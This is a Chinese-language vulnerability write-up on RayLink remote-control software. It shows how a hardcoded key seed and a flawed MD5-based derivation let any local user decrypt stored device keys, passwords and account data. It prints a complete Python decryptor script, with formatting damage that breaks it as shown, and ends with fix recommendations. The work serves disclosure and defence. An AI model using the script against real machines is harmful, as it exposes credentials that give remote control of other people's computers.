1. 漏洞描述
在RayLink远程控制软件中,设备的身份信息被加密存储在本地,但安全措施不足,导致攻击者可以通过编写脚本在任意安装了RayLink的机器上以普通权限获取RayLink的设备 ID/密钥/固定验证密钥/账号/密码/历史连接记录等信息,从而利用RayLink取得电脑控制权限。
2. 测试环境
在Windows 11、Windows 10、Windows 8.1上分别安装从RayLink官网下载的个人版最新版本 v8.1.8.8(截至2026/9/9),经测试均可成功获取RayLink信息。
3. 漏洞原理
首先需要找到RayLink配置文件在电脑中存储的位置。在经过关键词搜索后,可以发现RayLink将配置文件存放在C:\ProgramData\RayLink\service_config.json中。打开可以发现,相关数据是被加密的。

打开IDA Pro,选择RayLinkService.exe进行逆向。Shift+F12检索字符串,随后搜索service_config.json字样:

双击,随后按x看交叉引用,可以发现有多处交叉引用:

其中sub_1400FD3D0引用次数最多,为6次。
查看该函数内容:

可以看到这个函数就是负责用于解密service_config.json的。
我们向下继续查看,发现了配置文件中存在的关键词,如device_id和device_key都存在:

可以发现解密调用了sub_1400F2610函数。跟进:

可以看到其中有一个写死的字符串 "3576CF7A8E82F471F791F9A0E7B15137",该字符串即 RayLink 硬编码在程序中的密钥种子。由于密钥派生过程不含任何随机因素,最终 AES 密钥在所有客户端上完全相同——这也与第 2 节中三台不同版本 Windows 主机均测试成功的结果相互印证。这意味着攻击者只需编写脚本,即可在任意安装了 RayLink 的主机上以普通用户权限离线解密配置文件中的敏感字段。
继续跟进RayLink的解密逻辑。结合伪代码可以看到:sub_140099D00(v9, "3576CF7A8E82F471F791F9A0E7B15137", 32) 将该字符串拷贝到局部缓冲区 v9;随后 sub_140128C10((__int64)a2, a3, v9, 1) 将密文与该字符串一并传入 sub_140128C10 处理。
继续跟进:




其为sub_140128C10的完整伪代码。解密逻辑大概可以概括为以下步骤:
1. 对密文进行 Base64 解码(sub_140127000),并要求解码后长度为 32 的倍数;
2. 通过 operator new(0x5C) 分配 92 字节的上下文,该大小恰好等于 MD5 上下文结构(MD5_CTX)的长度;
3. 调用 sub_140589220 初始化上下文,再调用 sub_140589290 将 32 字节硬编码字符串作为消息更新哈希;
4. 连续两次调用 sub_1405890B0 结束哈希;
5. 以第 4 步得到的 32 字节结果作为密钥,调用 sub_140588840 进行 256 位 AES 密钥扩展;
6. 用 memset 将 IV 缓冲区清零(全零 IV),随后循环按 32 字节块调用 sub_140589070 进行 AES-CBC 解密;
7. 解密完成后校验明文头两字节的魔数 "SR"(伪代码中表现为与 21075 比较,21075 即 0x5253),再按偏移 +2 处 4 字节小端长度字段截取出真实明文。
其中第四步即为缺陷。sub_1405890B0被连续调用了两次,正常取得MD5摘要只需要调用一次。反编译sub_140589220和sub_1405890B0函数:



sub_140589220 中,可见其主体仅为四行赋值:将状态初始化为 1732584193、-271733879、-1732584194、271733878,分别对应 MD5 标准初始链接变量 0x67452301、0xEFCDAB89、0x98BADCFE、0x10325476,可确认该函数即 MD5_Init,该流程使用的哈希算法为 MD5。
而sub_1405890B0函数结尾仅将缓冲区计数字段清零(a2[22] = 0),而 64 位消息长度字段并未复位。因此第二次调用 Final 时,函数会把第一次的摘要状态当作中间状态,对填充块再做一轮 MD5 压缩,额外产出第二个 16 字节摘要。两个摘要前后拼接,恰好构成第 5 步所需的 32 字节 AES-256 密钥。由于派生的唯一输入是二进制内写死的常量,不含任何随机因素,该密钥在所有安装 RayLink 的主机上完全相同,可以离线预先算出。同时,解密使用全零 IV 的 AES-CBC 模式,全程没有 HMAC、校验和等任何完整性保护,唯一的有效性判断是明文开头的 "SR" 魔数。此外,在客户端程序 RayLink.exe 中也能找到完全相同的密钥字符串,说明服务组件与客户端共用同一套加密逻辑,该密钥属于产品级全局密钥。
至此,RayLink的加密逻辑已经还原,漏洞原理解释完毕。接下来需要验证攻击前提,即攻击者是否可以用低权限直接读取RayLink的配置文件。使用icacls命令查看C:\ProgramData\RayLink的权限和service_config.json的权限:

可以看到BUILTIN\Users权限中带有(RX)读取权限。该权限为安装RayLink后默认设置,不需要任何改动。文章开头的service_config.json内容截图也验证了该文件可以直接读取。
随后进一步分析,发现 %APPDATA%\RayLink\sdn_device_config.json 中保存了历史连接设备的信息(连接码、IP 地址、计算机名等),同样可用上述方法解密。
4. 漏洞利用
首先,根据上文展示的加密逻辑,我们需要先计算出密钥。根据逆向的伪代码,可以得到如下的派生结果:
d1 = MD5("3576CF7A8E82F471F791F9A0E7B15137") // 第一次 Final 的 16 字节
d2 = 以 d1 为中间状态,对填充块再做一次 MD5 压缩 // 第二次 Final 的 16 字节
AES-256 密钥 = d1 || d2 // 32 字节其为脚本主要的逻辑。
完整脚本代码如下(编写由deepseek辅助):
import base64
import hashlib
import json
import math
import struct
import os
import sys
# 统一 UTF-8 输出,避免 GBK 控制台乱码
if sys.stdout and hasattr(sys.stdout, "reconfigure"):
sys.stdout.reconfigure(encoding="utf-8", errors="replace")
sys.stderr.reconfigure(encoding="utf-8", errors="replace")
from Crypto.Cipher import AES
KEY_STRING = b"3576CF7A8E82F471F791F9A0E7B15137"
# ---------------- MD5 压缩函数 (用于计算第二次 Final 的 digest) ----------------
def md5compress(state, block):
a, b, c, d = state
m = list(struct.unpack("<16I", block))
def F(x, y, z): return (x & y) | (~x & z)
def G(x, y, z): return (x & z) | (y & ~z)
def H(x, y, z): return x ^ y ^ z
def I(x, y, z): return y ^ (x | ~z)
def RL(x, n): return ((x << n) | (x >> (32 - n))) & 0xFFFFFFFF
T = [int(abs(math.sin(i + 1)) * 4294967296) & 0xFFFFFFFF for i in range(64)]
def r1(a, b, c, d, k, s, i):
return (b + RL((a + F(b, c, d) + m[k] + T[i]) & 0xFFFFFFFF, s)) & 0xFFFFFFFF
a = r1(a, b, c, d, 0, 7, 0); d = r1(d, a, b, c, 1, 12, 1)
c = r1(c, d, a, b, 2, 17, 2); b = r1(b, c, d, a, 3, 22, 3)
a = r1(a, b, c, d, 4, 7, 4); d = r1(d, a, b, c, 5, 12, 5)
c = r1(c, d, a, b, 6, 17, 6); b = r1(b, c, d, a, 7, 22, 7)
a = r1(a, b, c, d, 8, 7, 8); d = r1(d, a, b, c, 9, 12, 9)
c = r1(c, d, a, b, 10, 17, 10); b = r1(b, c, d, a, 11, 22, 11)
a = r1(a, b, c, d, 12, 7, 12); d = r1(d, a, b, c, 13, 12, 13)
c = r1(c, d, a, b, 14, 17, 14); b = r1(b, c, d, a, 15, 22, 15)
def r2(a, b, c, d, k, s, i):
return (b + RL((a + G(b, c, d) + m[k] + T[i]) & 0xFFFFFFFF, s)) & 0xFFFFFFFF
a = r2(a, b, c, d, 1, 5, 16); d = r2(d, a, b, c, 6, 9, 17)
c = r2(c, d, a, b, 11, 14, 18); b = r2(b, c, d, a, 0, 20, 19)
a = r2(a, b, c, d, 5, 5, 20); d = r2(d, a, b, c, 10, 9, 21)
c = r2(c, d, a, b, 15, 14, 22); b = r2(b, c, d, a, 4, 20, 23)
a = r2(a, b, c, d, 9, 5, 24); d = r2(d, a, b, c, 14, 9, 25)
c = r2(c, d, a, b, 3, 14, 26); b = r2(b, c, d, a, 8, 20, 27)
a = r2(a, b, c, d, 13, 5, 28); d = r2(d, a, b, c, 2, 9, 29)
c = r2(c, d, a, b, 7, 14, 30); b = r2(b, c, d, a, 12, 20, 31)
def r3(a, b, c, d, k, s, i):
return (b + RL((a + H(b, c, d) + m[k] + T[i]) & 0xFFFFFFFF, s)) & 0xFFFFFFFF
a = r3(a, b, c, d, 5, 4, 32); d = r3(d, a, b, c, 8, 11, 33)
c = r3(c, d, a, b, 11, 16, 34); b = r3(b, c, d, a, 14, 23, 35)
a = r3(a, b, c, d, 1, 4, 36); d = r3(d, a, b, c, 4, 11, 37)
c = r3(c, d, a, b, 7, 16, 38); b = r3(b, c, d, a, 10, 23, 39)
a = r3(a, b, c, d, 13, 4, 40); d = r3(d, a, b, c, 0, 11, 41)
c = r3(c, d, a, b, 3, 16, 42); b = r3(b, c, d, a, 6, 23, 43)
a = r3(a, b, c, d, 9, 4, 44); d = r3(d, a, b, c, 12, 11, 45)
c = r3(c, d, a, b, 15, 16, 46); b = r3(b, c, d, a, 2, 23, 47)
def r4(a, b, c, d, k, s, i):
return (b + RL((a + I(b, c, d) + m[k] + T[i]) & 0xFFFFFFFF, s)) & 0xFFFFFFFF
a = r4(a, b, c, d, 0, 6, 48); d = r4(d, a, b, c, 7, 10, 49)
c = r4(c, d, a, b, 14, 15, 50); b = r4(b, c, d, a, 5, 21, 51)
a = r4(a, b, c, d, 12, 6, 52); d = r4(d, a, b, c, 3, 10, 53)
c = r4(c, d, a, b, 10, 15, 54); b = r4(b, c, d, a, 1, 21, 55)
a = r4(a, b, c, d, 8, 6, 56); d = r4(d, a, b, c, 15, 10, 57)
c = r4(c, d, a, b, 6, 15, 58); b = r4(b, c, d, a, 13, 21, 59)
a = r4(a, b, c, d, 4, 6, 60); d = r4(d, a, b, c, 11, 10, 61)
c = r4(c, d, a, b, 2, 15, 62); b = r4(b, c, d, a, 9, 21, 63)
return [(a + state[0]) & 0xFFFFFFFF,
(b + state[1]) & 0xFFFFFFFF,
(c + state[2]) & 0xFFFFFFFF,
(d + state[3]) & 0xFFFFFFFF]
def derive_key():
d1 = hashlib.md5(KEY_STRING).digest()
state = struct.unpack("<4I", d1)
# 第二次 MD5_Final: count 已重置为 0, 但 bit-length 字段保留 (256 bit)
padblock = bytearray(64)
padblock[0] = 0x80
struct.pack_into("<Q", padblock, 56, 256)
d2 = struct.pack("<4I", *_md5_compress(state, bytes(padblock)))
return d1 + d2
KEY = derive_key()
def decrypt_blob(b64: str) -> bytes:
raw = base64.b64decode(b64)
pt = AES.new(KEY, AES.MODE_CBC, bytes(16)).decrypt(raw)
if pt[:2] == b"SR":
ln = struct.unpack("<I", pt[2:6])[0]
return pt[6:6 + ln]
return pt.rstrip(b"s")
def main():
print("=" * 66)
print("RayLink 本地凭据解密器 (key: %s)" % KEY_STRING.decode())
print("AES-256-CBC key = %s" % KEY.hex())
print("=" * 66)
service_cfg = os.path.join(os.environ.get("ProgramData", r"C:\ProgramData"),
"RayLink", "service_config.json")
if os.path.exists(service_cfg):
print("\n[1] %s" % service_cfg)
sc = json.load(open(service_cfg, encoding="utf-8"))
for f in ("device_id", "device_key", "device_fixed_key", "password",
"account", "report_account"):
v = sc.get(f)
if v and len(v) > 20:
try:
print(" %-18s = %r" % (f, decrypt_blob(v).decode("utf-8", "replace")))
except Exception as e:
print(" %-18s = ERROR %s" % (f, e))
else:
print(" %-18s = %r (明文)" % (f, v))
roaming = os.path.join(os.environ.get("APPDATA", ""), "RayLink", "sdn_device_config.json")
if os.path.exists(roaming):
print("\n[2] %s" % roaming)
sd = json.load(open(roaming, encoding="utf-8"))
for g in sd.get("device_group_msg", []):
for d in (g.get("device_vector_msg") or []):
print(" 设备: device_id=%s name=%s version=%s" % (
d.get("device_id"), d.get("device_name"), d.get("device_version")))
for f in ("device_ip", "device_mac", "device_sdnId"):
v = d.get(f)
if v:
try:
raw = decrypt_blob(v)
print(" %-12s = %r" % (f, raw.decode("gbk", "replace")))
except Exception as e:
print(" %-12s = ERROR %s" % (f, e))
print("\n[3] 其他明文位置:")
print(" %APPDATA%\\RayLink\\client_config.json -> last_login_token (rsat:* 会话令牌, 明文)")
print(" RayLink.exe 客户端进程内存 -> 设备码/临时密码/固定密码/账号/手机号 (明文)")
if name == "__main__":
main()尝试运行脚本,结果如下:

输出显示 device_id、device_key、device_fixed_key、password、account、report_account 及历史连接信息均成功解密(敏感字段已脱敏),全程仅需普通用户权限,未做任何提权。
5. 修复建议
针对上述漏洞成因(密钥硬编码、密钥派生缺陷、无认证加密模式、文件权限过宽、凭据明文落盘),建议从以下几个方面进行修复:
1. 移除硬编码密钥,改为每设备随机生成。在软件安装或首次运行时生成随机主密钥,并通过 Windows DPAPI 或凭据管理器绑定到当前用户/机器,使配置文件即使被拷贝到其他机器也无法解密。
2. 更换密钥派生算法。使用 PBKDF2、scrypt 或 Argon2 等标准带盐 KDF 生成密钥,弃用 MD5;同时杜绝对同一哈希上下文连续多次调用 Final 的错误用法——这正是当前 AES 密钥全局固定的直接成因。
3. 升级加密模式。采用 AES-GCM 或 ChaCha20-Poly1305 等认证加密(AEAD)算法,IV 使用随机数并随密文一同存储;如因兼容原因必须保留 CBC 模式,则必须使用随机 IV,并附加 HMAC 完整性校验,同时在密文中增加密钥版本字段以便后续轮换。
4. 收紧配置文件访问权限。service_config.json 等存放设备身份与凭据的文件应仅允许 SYSTEM 和 Administrators 组访问,移除 BUILTIN\Users 的读取权限。RayLink 服务本身以 SYSTEM 身份运行,收紧 ACL 不影响其正常读取。
5. 保护会话凭据。client_config.json 中的 last_login_token 等登录令牌不应明文落盘,应移入 DPAPI 保护的存储或 Windows 凭据管理器。
6. 增加服务端侧防护。对 device_key、device_fixed_key 增加设备绑定与短期有效性校验,提供异常登录检测与会话撤销能力;针对已随旧版本泄露的全局密钥建立轮换机制,用户升级后强制重新生成并绑定设备凭据,避免旧密钥长期可用。